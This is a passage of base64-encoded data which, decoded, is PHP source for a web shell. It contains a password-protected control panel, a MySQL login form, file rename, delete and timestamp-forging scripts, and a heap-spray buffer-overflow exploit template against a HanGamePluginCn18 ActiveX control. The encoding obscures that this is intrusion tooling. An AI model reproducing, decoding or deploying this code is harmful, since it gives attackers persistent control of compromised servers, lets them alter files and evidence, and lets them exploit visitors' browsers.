wvaWZyYW1lPjwvdGQ+PHRkPjxpZnJhbWUgbmFtZT0nbWFpbicgc3JjPSc/ZWFudmVyPW1haW4nIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzEwMCUnIGZyYW1lYm9yZGVyPScxJz48L2lmcmFtZT48L3RkPjwvdHI+PC90YWJsZT48L2h0bWw+Iik7DQp9DQoNCmZ1bmN0aW9uIGlzbG9naW4oJHNoZWxsbmFtZSwkbXl1cmwpew0KcHJpbnQ8PDxFTkQNCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSx0ZHtmb250LXNpemU6IDEycHg7Y29sb3I6IzAwZmYwMDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7fWlucHV0LHNlbGVjdCx0ZXh0YXJlYXtmb250LXNpemU6IDEycHg7YmFja2dyb3VuZC1jb2xvcjojRkZGRkNDO2JvcmRlcjoxcHggc29saWQgI2ZmZn0uQ3tiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7Ym9yZGVyOjBweH0uY21ke2JhY2tncm91bmQtY29sb3I6IzAwMDtjb2xvcjojRkZGfWJvZHl7bWFyZ2luOiAwcHg7bWFyZ2luLWxlZnQ6NHB4O31CT0RZIHtTQ1JPTExCQVItRkFDRS1DT0xPUjogIzIzMjMyMzsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzIzMjMyMzsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzM4MzgzODsgU0NST0xMQkFSLURBUktTSEFET1ctQ09MT1I6ICMzODM4Mzg7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjMjMyMzIzOyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICNGRkZGRkY7U0NST0xMQkFSLVRSQUNLLUNPTE9SOiAjMzgzODM4O31he2NvbG9yOiNkZGQ7dGV4dC1kZWNvcmF0aW9uOiBub25lO31hOmhvdmVye2NvbG9yOnJlZDtiYWNrZ3JvdW5kOiMwMDB9LmFte2NvbG9yOiM4ODg7Zm9udC1zaXplOjExcHg7fTwvc3R5bGU+DQo8Ym9keSBzdHlsZT0iRklMVEVSOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuR3JhZGllbnQoZ3JhZGllbnRUeXBlPTAsc3RhcnRDb2xvclN0cj0jNjI2MjYyLGVuZENvbG9yU3RyPSMxQzFDMUMpIiBzY3JvbGw9bm8+PGNlbnRlcj48ZGl2IHN0eWxlPSd3aWR0aDo1MDBweDtib3JkZXI6MXB4IHNvbGlkICMyMjI7cGFkZGluZzoyMnB4O21hcmdpbjoxMDBweDsnPjxicj48YSBocmVmPSd7JG15dXJsfScgdGFyZ2V0PSdfYmxhbmsnPnskc2hlbGxuYW1lfTwvYT48YnI+PGJyPjxmb3JtIG1ldGhvZD0ncG9zdCc+yuTI68PcwuujujxpbnB1dCBuYW1lPSdwb3N0cGFzcycgdHlwZT0ncGFzc3dvcmQnIHNpemU9JzIyJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J7XHwrwnPjxicj48YnI+PGJyPjxmb250IGNvbG9yPSMzMzk5RkY+x+vO8NPD09q3x7eo08PNvqOsuvO5+9f31d+4xbK7uLrU8KOhPC9mb250Pjxicj48L2Rpdj48L2NlbnRlcj4NCkVORDsNCn0NCg0KZnVuY3Rpb24gaHRtbF9zcWwoKXsNCglodG1sX2lucHV0KCJ0ZXh0Iiwic3FsaG9zdCIsImxvY2FsaG9zdCIsIjxicj5NWVNRTLXY1rciLCIzMCIpOw0KCWh0bWxfaW5wdXQoInRleHQiLCJzcWxwb3J0IiwiMzMwNiIsIjxicj5NWVNRTLbLv9oiLCIzMCIpOw0KCWh0bWxfaW5wdXQoInRleHQiLCJzcWx1c2VyIiwicm9vdCIsIjxicj5NWVNRTNPDu6ciLCIzMCIpOw0KCWh0bWxfaW5wdXQoInBhc3N3b3JkIiwic3FscGFzcyIsIiIsIjxicj5NWVNRTMPcwusiLCIzMCIpOw0KCWh0bWxfaW5wdXQoInRleHQiLCJzcWxkYiIsImRibmFtZSIsIjxicj5NWVNRTL/iw/siLCIzMCIpOw0KCWh0bWxfaW5wdXQoInN1Ym1pdCIsInNxbGxvZ2luIiwitcfCvCIsIjxicj4iKTsNCglodG1sX24oJzwvZm9ybT4nKTsNCn0NCg0KZnVuY3Rpb24gTXlzcWxfTGVuKCRkYXRhLCRsZW4pDQp7DQoJaWYoc3RybGVuKCRkYXRhKSA8ICRsZW4pIHJldHVybiAkZGF0YTsNCglyZXR1cm4gc3Vic3RyX3JlcGxhY2UoJGRhdGEsJy4uLicsJGxlbik7DQp9DQoNCmZ1bmN0aW9uIGh0bWxfbigkZGF0YSl7DQoJZWNobyAiJGRhdGFcbiI7DQp9DQoNCi8qLS0tY3NzLS0tKi8NCg0KZnVuY3Rpb24gY3NzX2ltZygkaW1nKXsNCgkkaW1hZ2VzID0gYXJyYXkoDQoJImV4ZSI9Pg0KCSJSMGxHT0RsaEV3QU9BS0lBQUFBQUFQLy8vd0FBdmNiR3hvU0VoUC8vL3dBQUFBQUFBQ0g1QkFFQUFBVUFMQUFBQUFBVEFBNEFBQU03Ii4NCgkiV0xUY1RpV1NRYXV0QkVRMWhQK2dsMjFUS0FRQWlvN1M4THhhRzh4MFBiT2NyUWY0dE51OXdhOFdITktLUmw0c2wreTlZQnVBZEVxdCIuDQoJInhoSUFPdz09IiwNCgkiZGlyIj0+IlIwbEdPRGxoRXdBUUFMTUFBQUFBQVAvLy81eWNBTTdPWS8vL25QLy96di9PblBmMzkvLy8vd0FBQUFBQUFBQUFBQUFBQSIuDQoJIkFBQUFBQUFBQUFBQUNINUJBRUFBQWdBTEFBQUFBQVRBQkFBQUFSUkVNbEpxNzA0NnlwNkJ4c2lIRVZCRUFLWUNVUHJEcDdIbFhSZEUiLg0KCSJvTXFDZWJwLzRZY2hmZnpHUWhINFlSWVBCMkRPbEhQaUt3cWQxUHE4eXJWVmczUVllSDVSWUs1ckpmYUZVVUEzdkI0ZkJJQkFEcz0iLA0KCSJ0eHQiPT4NCgkiUjBsR09EbGhFd0FRQUtJQUFBQUFBUC8vLzhiR3hvU0VoUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFBQVFBTEFBQUFBQVRBQkFBQUFOSiIuDQoJIlNBckUzbERKRmthOTFyS3BBL0RnSjNKQmFaNmxzQ2tXNnFxa0I0anpGOEJTNjU0NFc5WkFXNCtnMjZWV3hGOXdkb3dabXpubEV1cDciLg0KCSJVcFBXRzNJZzZIcS9YbVJqdVp3a0FBQTciLA0KCSJodG1sIj0+DQoJIlIwbEdPRGxoRXdBUUFMTUFBQUFBQVAvLy8ydHJuTTNQL0ZCVmhyUE85bDZJdG95dDB5aGdrK1h5L1dHcDRzWGwvaTZaNG1mZC9ITnoiLg0KCSJjLy8vL3lINUJBRUFBQThBTEFBQUFBQVRBQkFBQUFTVDhNbDNxcTFtNm5tQy80R2hiRm9YSkVPMUNBTkRTb2NpR2tiQUNIaTIwVTNQIi4NCgkiS0lGR0lqQVFPRFNpQldPNU5BeFJSbVRnZ0Rna21NN0U2aWlwSFpZS0JWTlFTQlNpa3VrU3dXNGp5bWN1cFlGZ0lCcUwvTUs4S0JEayIuDQoJIkJreDJCWFdEZlg4VEREYUZEQTBLQkFkOWZuSUtIWFlJQkpnSEJRT0hjZytWQ2lrVkE1d0xwWWdiQkt1ckRxeXNueE1PczdTMXN4SVIiLg0KCSJBRHM9IiwNCgkianMiPT4NCgkiUjBsR09EZGhFQUFRQUNJQUFDd0FBQUFBRUFBUUFJTC8vLzhBQUFDQWdJREF3TUQvL3dDQWdBQUFBQUFBQUFBRFVDaTYzQ0VneGliSCIuDQoJImswQVFzRzIwMEFRVUpCZ0FvTWloajVkbUl4bk1KeHRxcTFkZEUwRVdPaHNHMTZtOU1vb0FpU1dFbVRpdUM0VHcyQkIwTDhGZ0lBaHMiLg0KCSJhMDBBallZQmJjL285SGpObmlVQUFEcz0iLA0KCSJ4bWwiPT4NCgkiUjBsR09EbGhFQUFRQUVRQUFDSDVCQUVBQUJBQUxBQUFBQUFRQUJBQWhQLy8vd0FBQVBIeDhZYUdoak5tbWFiSzhBQUFtUUFBZ0FDQSIuDQoJImdET1pBRE5tL3pPWi96UC8vOERBd0RQTS93QUEvd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KCSJBQUFBQUFBQUFBQUFBQUFBQUFWazRDQ09wQWlkMEFDc2JOc01xTnF1QWlBMEFKelNkbDhId01CT1VLZ2hFQXBiRVNCVUZRd0FCSUN4Ii4NCgkiT0FBTXhlYlRobUE0RW9jYXRnbllLaGFKaHhVcklCTnJoN2p5dC9QWmErMGhZYy9uMDJWNGR6WnVmWVYvUElHSmJvS0JRa0dQa0VFUSIuDQoJIklRQTciLA0KCSJtcDMiPT4NCgkiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFZQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzRDQWdNREF3SUNBQVAvL0FBQUFBQUFBQUFOVSIuDQoJImFHclM3aXVLUUdzWUlxcHA2UWlaUkRRV1lBSUxRUVNBMmcybzRRb0FTSEd3dkJiQU4zR1gxcVhBK3IxYUJRSFJaSE1FRFNZQ3ozZmMiLg0KCSJJR3RHVDh3QVV3bHR6d1dOV1JWM0xEbnhZTTF1YjZHbmVEd0JBRHM9IiwNCgkiaW1nIj0+DQoJIlIwbEdPRGxoRUFBUUFETUFBQ0g1QkFFQUFBa0FMQUFBQUFBUUFCQUFnd0FBQVAvLy84REF3SUNBZ0lDQUFQOEFBQUQvQUlBQUFBQ0EiLg0KCSJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSY2NNaEprNzBqNkszRnVGYkdiVUx3SmNVaGpnSGdBa1VxRWdKTkVFQWd4RWNpIi4NCgkiQ2k4QUxzQUxhWENHSks1bzFBR1NCc0lBY0FCZ2pnQ0V3QU1FWHAwQkJNTGwvQTZ4NVdadFBmUTJnNiswajhWeCs3YjQvTlpxZ2Z0ZCIuDQoJIkZ4RUFPdz09IiwNCgkidGl0bGUiPT4iUjBsR09EbGhEZ0FPQU1RQUFPR21HbVptWnYvL3hWVlZWZVc2RStLMkYvK1pBSE56Y2YrdkFHZG5hZi9BQUh0MWFmKyIuDQoJIm1BUC9GQVA2MUFIdDRhWE56YStXbkZQLy96QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCgkiQUNINUJBQUhBUDhBTEFBQUFBQU9BQTRBQUFWSllQSWNaR2srd1VNMGJPc1dveXUzNUt6Y2VPM3Nqc1R2RFIxUDR1TUZEdzJFRWtHVUwiLg0KCSJJOE5ocFRSbkVLblZBa1dhdWdhSk40dU4weStrcjJNNENJeWN3RVdnNFZwZm9DSEFBQTciLA0KCSJyYXIiPT4iUjBsR09EbGhFQUFRQVBmL0FBQUFBQUFBZ0FBQS93Q0FBQUQvQUFDQWdJQUFBSUFBZ1A4QS80Q0FBUC8vQU1EQXdQLy8vd0FBIi4NCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRC9BQ0g1QkFFS0FQOEFMQUFBQUFBUUFCQUFBQWlGQVAwWUVFaHdvRUUvIi4NCiAgICAiL3hJdUVKaGdRWUtEQnhQK1cyaWc0Y09DQkNjeW9IakFRTWVQSGdmNldiRHhnQUlFS0ZPbUhEbVN3Y2lRSURzaVhMZ3dnWitiIi4NCiAgICAiT0hPU1hKaXo1ODEvTFJjRTJMaWdxTkdpTEVrS1dDQ2dxVk9uTTFuYURPQ0hxdFdiTzMzNkJMcHpnQUlDWU1PR1JkZ3l3SUlDIi4NCiAgICAiYU5PbVJjalZqMDJ0UHhQQ3pma3ZJQUE3Ig0KCSk7DQogIGhlYWRlcignQ29udGVudC10eXBlOiBpbWFnZS9naWYnKTsNCiAgZWNobyBiYXNlNjRfZGVjb2RlKCRpbWFnZXNbJGltZ10pOw0KICBkaWUoKTsNCn0NCg0KZnVuY3Rpb24gY3NzX3Nob3dpbWcoJGZpbGUpew0KCSRpdD1zdWJzdHIoJGZpbGUsLTMpOw0KCXN3aXRjaCgkaXQpew0KCQljYXNlICJqcGciOiBjYXNlICJnaWYiOiBjYXNlICJibXAiOiBjYXNlICJwbmciOiBjYXNlICJpY28iOiByZXR1cm4gJ2ltZyc7YnJlYWs7DQoJCWNhc2UgImh0bSI6IGNhc2UgInRtbCI6IHJldHVybiAnaHRtbCc7YnJlYWs7DQoJCWNhc2UgImV4ZSI6IGNhc2UgImNvbSI6IHJldHVybiAnZXhlJzticmVhazsNCgkJY2FzZSAieG1sIjogY2FzZSAiZG9jIjogcmV0dXJuICd4bWwnO2JyZWFrOw0KCQljYXNlICIuanMiOiBjYXNlICJ2YnMiOiByZXR1cm4gJ2pzJzticmVhazsNCgkJY2FzZSAibXAzIjogY2FzZSAid21hIjogY2FzZSAid2F2IjogY2FzZSAic3dmIjogY2FzZSAiLnJtIjogY2FzZSAiYXZpIjpjYXNlICJtcDQiOmNhc2UgIm12YiI6IHJldHVybiAnbXAzJzticmVhazsNCgkJY2FzZSAicmFyIjogY2FzZSAidGFyIjogY2FzZSAiLmd6IjogY2FzZSAiemlwIjpjYXNlICJpc28iOiByZXR1cm4gJ3Jhcic7YnJlYWs7DQogIAlkZWZhdWx0OiByZXR1cm4gJ3R4dCc7YnJlYWs7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBjc3NfanMoJG51bSwkY29kZSA9ICcnKXsNCglpZigkbnVtID09ICJzaGVsbGNvZGUiKXsNCgkJcmV0dXJuICc8JUAgTEFOR1VBR0U9IkphdmFTY3JpcHQiICU+DQoJCTwlDQoJCXZhciBhY3Q9bmV3IEFjdGl2ZVhPYmplY3QoIkhhbkdhbWVQbHVnaW5DbjE4LkhhbkdhbWVQbHVnaW5DbjE4LjEiKTsNCgkJdmFyIHNoZWxsY29kZSA9IHVuZXNjYXBlKCInLiRjb2RlLiciKTsNCgkJdmFyIGJpZ2Jsb2NrID0gdW5lc2NhcGUoIiV1OTA5MCV1OTA5MCIpOw0KCQl2YXIgaGVhZGVyc2l6ZSA9IDIwOw0KCQl2YXIgc2xhY2tzcGFjZSA9IGhlYWRlcnNpemUrc2hlbGxjb2RlLmxlbmd0aDsNCgkJd2hpbGUgKGJpZ2Jsb2NrLmxlbmd0aDxzbGFja3NwYWNlKSBiaWdibG9jays9YmlnYmxvY2s7DQoJCWZpbGxibG9jayA9IGJpZ2Jsb2NrLnN1YnN0cmluZygwLCBzbGFja3NwYWNlKTsNCgkJYmxvY2sgPSBiaWdibG9jay5zdWJzdHJpbmcoMCwgYmlnYmxvY2subGVuZ3RoLXNsYWNrc3BhY2UpOw0KCQl3aGlsZShibG9jay5sZW5ndGgrc2xhY2tzcGFjZTwweDQwMDAwKSBibG9jayA9IGJsb2NrK2Jsb2NrK2ZpbGxibG9jazsNCgkJbWVtb3J5ID0gbmV3IEFycmF5KCk7DQoJCWZvciAoeD0wOyB4PDMwMDsgeCsrKSBtZW1vcnlbeF0gPSBibG9jayArIHNoZWxsY29kZTsNCgkJdmFyIGJ1ZmZlciA9ICIiOw0KCQl3aGlsZSAoYnVmZmVyLmxlbmd0aCA8IDEzMTkpIGJ1ZmZlcis9IkEiOw0KCQlidWZmZXI9YnVmZmVyKyJceDBhXHgwYVx4MGFceDBhIitidWZmZXI7DQoJCWFjdC5oZ3Nfc3RhcnROb3RpZnkoYnVmZmVyKTsNCgkJJT4nOw0KCX0NCglodG1sX24oJzxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPicpOw0KCWlmKCRudW0gPT0gIjEiKXsNCglodG1sX24oJwlmdW5jdGlvbiBydXN1cmVjaGsobXNnLHVybCl7DQoJCXNtc2cgPSAiRmlsZU5hbWU6WyIgKyBtc2cgKyAiXVxuUGxlYXNlIElucHV0IE5ldyBGaWxlOiI7DQoJCXJlID0gcHJvbXB0KHNtc2csbXNnKTsNCgkJaWYgKHJlKXsNCgkJCXVybCA9IHVybCArIHJlOw0KCQkJd2luZG93LmxvY2F0aW9uID0gdXJsOw0KCQl9DQoJfQ0KCWZ1bmN0aW9uIHJ1c3VyZWRlbChtc2csdXJsKXsNCgkJc21zZyA9ICJEbyBZb3UgU3VlciBEZWxldGUgWyIgKyBtc2cgKyAiXSA/IjsNCgkJaWYoY29uZmlybShzbXNnKSl7DQoJCQlVUkwgPSB1cmwgKyBtc2c7DQoJCQl3aW5kb3cubG9jYXRpb24gPSB1cmw7DQoJCX0NCgl9DQoJZnVuY3Rpb24gRGVsb2sobXNnLGdvdXJsKQ0KCXsNCgkJc21zZyA9ICLIt7ao0qrJvrP9WyIgKyB1bmVzY2FwZShtc2cpICsgIl3C8D8iOw0KCQlpZihjb25maXJtKHNtc2cpKQ0KCQl7DQoJCQlpZihnb3VybCA9PSBcJ2JcJykNCgkJCXsNCgkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2FjdGFsbFwnKS52YWx1ZSA9IGVzY2FwZShnb3VybCk7DQoJCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdmaWxlYWxsXCcpLnN1Ym1pdCgpOw0KCQkJfQ0KCQkJZWxzZSB3aW5kb3cubG9jYXRpb24gPSBnb3VybDsNCgkJfQ0KCX0NCglmdW5jdGlvbiBDaGVja0FsbChmb3JtKQ0KCXsNCgkJZm9yKHZhciBpPTA7aTxmb3JtLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCXsNCgkJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsNCgkJCWlmIChlLm5hbWUgIT0gXCdjaGthbGxcJykNCgkJCWUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7DQoJCX0NCgl9DQoJZnVuY3Rpb24gQ2hlY2tEYXRlKG1zZyxnb3VybCkNCgl7DQoJCXNtc2cgPSAitbHHsM7EvP7KsbzkOlsiICsgbXNnICsgIl0iOw0KCQlyZSA9IHByb21wdChzbXNnLG1zZyk7DQoJCWlmKHJlKQ0KCQl7DQoJCQl2YXIgdXJsID0gZ291cmwgKyByZTsNCgkJCXZhciByZWcgPSAvXihcXGR7MSw0fSkoLXxcXC8pKFxcZHsxLDJ9KVxcMihcXGR7MSwyfSkgKFxcZHsxLDJ9KTooXFxkezEsMn0pOihcXGR7MSwyfSkkLzsNCgkJCXZhciByID0gcmUubWF0Y2gocmVnKTsNCgkJCWlmKHI9PW51bGwpe2FsZXJ0KFwnyNXG2rjxyr2yu9X9yLchuPHKvTp5eXl5LW1tLWRkIGhoOm1tOnNzXCcpO3JldHVybiBmYWxzZTt9DQoJCQllbHNle2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnYWN0YWxsXCcpLnZhbHVlID0gZ291cmw7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnaW52ZXJcJykudmFsdWUgPSByZTsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdmaWxlYWxsXCcpLnN1Ym1pdCgpO30NCgkJfQ0KCX0NCglmdW5jdGlvbiBTdWJtaXRVcmwobXNnLHR4dCxhY3RpZCkNCgl7DQoJCXJlID0gcHJvbXB0KG1zZyx1bmVzY2FwZSh0eHQpKTsNCgkJaWYocmUpDQoJCXsNCgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnYWN0YWxsXCcpLnZhbHVlID0gYWN0aWQ7DQoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2ludmVyXCcpLnZhbHVlID0gZXNjYXBlKHJlKTsNCgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnZmlsZWFsbFwnKS5zdWJtaXQoKTsNCgkJfQ0KCX0nKTsNCgl9ZWxzZWlmKCRudW0gPT0gIjIiKXsNCglodG1sX24oJ3ZhciBOUzQgPSAoZG9jdW1lbnQubGF5ZXJzKTsNCnZhciBJRTQgPSAoZG9jdW1lbnQuYWxsKTsNCnZhciB3aW4gPSB0aGlzOw0KdmFyIG4gPSAwOw0KZnVuY3Rpb24gc2VhcmNoKHN0cil7DQoJdmFyIHR4dCwgaSwgZm91bmQ7DQoJaWYoc3RyID09ICIiKXJldHVybiBmYWxzZTsNCglpZihOUzQpew0KCQlpZighd2luLmZpbmQoc3RyKSkgd2hpbGUod2luLmZpbmQoc3RyLCBmYWxzZSwgdHJ1ZSkpIG4rKzsgZWxzZSBuKys7DQoJCWlmKG4gPT0gMCkgYWxlcnQoc3RyICsgIiAuLi4gTm90LUZpbmQiKQ0KCX0NCglpZihJRTQpew0KCQl0eHQgPSB3aW4uZG9jdW1lbnQuYm9keS5jcmVhdGVUZXh0UmFuZ2UoKTsNCgkJZm9yKGkgPSAwOyBpIDw9IG4gJiYgKGZvdW5kID0gdHh0LmZpbmRUZXh0KHN0cikpICE9IGZhbHNlOyBpKyspew0KCQkJdHh0Lm1vdmVTdGFydCgiY2hhcmFjdGVyIiwgMSk7DQoJCQl0eHQubW92ZUVuZCgidGV4dGVkaXQiKQ0KCQl9DQoJCWlmKGZvdW5kKXt0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAtMSk7dHh0LmZpbmRUZXh0KHN0cik7dHh0LnNlbGVjdCgpO3R4dC5zY3JvbGxJbnRvVmlldygpO24rK30NCgkJZWxzZXtpZiAobiA+IDApe24gPSAwO3NlYXJjaChzdHIpfWVsc2UgYWxlcnQoc3RyICsgIi4uLiBOb3QtRmluZCIpfQ0KCX0NCglyZXR1cm4gZmFsc2UNCn0NCmZ1bmN0aW9uIENoZWNrRGF0ZSgpew0KCXZhciByZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnbXRpbWVcJykudmFsdWU7DQoJdmFyIHJlZyA9IC9eKFxcZHsxLDR9KSgtfFxcLykoXFxkezEsMn0pXFwyKFxcZHsxLDJ9KSAoXFxkezEsMn0pOihcXGR7MSwyfSk6KFxcZHsxLDJ9KSQvOw0KCXZhciByID0gcmUubWF0Y2gocmVnKTsNCgl2YXIgdCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnY2hhcnNldFwnKS52YWx1ZTsNCiAgICB0ID0gdC50b0xvd2VyQ2FzZSgpOw0KCWlmKHI9PW51bGwpe2FsZXJ0KFwnyNXG2rjxyr2yu9X9yLchuPHKvTp5eXl5LW1tLWRkIGhoOm1tOnNzXCcpO3JldHVybiBmYWxzZTt9DQoJZWxzZXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ25ld2ZpbGVcJykudmFsdWUgPSBiYXNlNjRlbmNvZGUoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCduZXdmaWxlXCcpLnZhbHVlKTsNCglpZih0PT0idXRmLTgiKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3R4dFwnKS52YWx1ZSA9IGJhc2U2NGVuY29kZSh1dGYxNnRvOChkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3R4dFwnKS52YWx1ZSkpO30NCicpOw0KaWYgKHN1YnN0cihQSFBfVkVSU0lPTiwwLDEpPj01KXtodG1sX24oJ2lmKHQ9PSJnYmsiIHx8IHQ9PSJnYjIzMTIiKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3R4dFwnKS52YWx1ZSA9IGJhc2U2NGVuY29kZSh1dGYxNnRvOChkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3R4dFwnKS52YWx1ZSkpO30nKTt9DQpodG1sX24oJw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnZWRpdG9yXCcpLnN1Ym1pdCgpO30NCn0nKTsNCn1lbHNlaWYoJG51bSA9PSAiMyIpew0KCWh0bWxfbignZnVuY3Rpb24gRnVsbChpKXsNCiAgIGlmKGk9PTAgfHwgaT09NSl7DQogICAgIHJldHVybiBmYWxzZTsNCiAgIH0NCiAgU3RyID0gbmV3IEFycmF5KDEyKTsNCglTdHJbMV0gPSAiUHJvdmlkZXI9TWljcm9zb2Z0LkpldC5PTEVEQi40LjA7RGF0YSBTb3VyY2U9XGRiLm1kYiI7DQoJU3RyWzJdID0gIkRyaXZlcj17U3FsIFNlcnZlcn07U2VydmVyPSwxNDMzO0RhdGFiYXNlPURiTmFtZTtVaWQ9c2E7UHdkPSoqKioiOw0KCVN0clszXSA9ICJEcml2ZXI9e015U3FsfTtTZXJ2ZXI9O1BvcnQ9MzMwNjtEYXRhYmFzZT1EYk5hbWU7VWlkPXJvb3Q7UHdkPSoqKioiOw0KCVN0cls0XSA9ICJQcm92aWRlcj1NU0RBT1JBLjE7UGFzc3dvcmQ9w9zC6ztVc2VyIElEPdXKusU7RGF0YSBTb3VyY2U9t/7O8cP7O1BlcnNpc3QgU2VjdXJpdHkgSW5mbz1UcnVlOyI7DQoJU3RyWzZdID0gIlNFTEVDVCAqIEZST00gW1RhYmxlTmFtZV0gV0hFUkUgSUQ8MTAwIjsNCglTdHJbN10gPSAiSU5TRVJUIElOVE8gW1RhYmxlTmFtZV0oVVNFUixQQVNTKSBWQUxVRVMoXCdlYW52ZXJcJyxcJ215cGFzc1wnKSI7DQoJU3RyWzhdID0gIkRFTEVURSBGUk9NIFtUYWJsZU5hbWVdIFdIRVJFIElEPTEwMCI7DQoJU3RyWzldID0gIlVQREFURSBbVGFibGVOYW1lXSBTRVQgVVNFUj1cJ2VhbnZlclwnIFdIRVJFIElEPTEwMCI7DQoJU3RyWzEwXSA9ICJDUkVBVEUgVEFCTEUgW1RhYmxlTmFtZV0oSUQgSU5UIElERU5USVRZICgxLDEpIE5PVCBOVUxMLFVTRVIgVkFSQ0hBUig1MCkpIjsNCglTdHJbMTFdID0gIkRST1AgVEFCTEUgW1RhYmxlTmFtZV0iOw0KCVN0clsxMl0gPSAiQUxURVIgVEFCTEUgW1RhYmxlTmFtZV0gQUREIENPTFVNTiBQQVNTIFZBUkNIQVIoMzIpIjsNCglTdHJbMTNdID0gIkFMVEVSIFRBQkxFIFtUYWJsZU5hbWVdIERST1AgQ09MVU1OIFBBU1MiOw0KCWlmKGk8PTQpew0KCSAgRGJGb3JtLnN0cmluZy52YWx1ZSA9IFN0cltpXTsNCiAgfWVsc2V7DQogIAlEYkZvcm0uc3FsLnZhbHVlID0gU3RyW2ldOw0KICB9DQogIHJldHVybiB0cnVlOw0KICB9Jyk7DQp9DQplbHNlaWYoJG51bSA9PSAiNCIpew0KCWh0bWxfbignZnVuY3Rpb24gRnVsbGwoaSl7DQogICBpZihpPT0wKXsNCiAgICAgcmV0dXJuIGZhbHNlOw0KICAgfQ0KICBTdHIgPSBuZXcgQXJyYXkoOCk7DQoJU3RyWzFdID0gImNvbmZpZy5pbmMucGhwIjsNCglTdHJbMl0gPSAiY29uZmlnLmluYy5w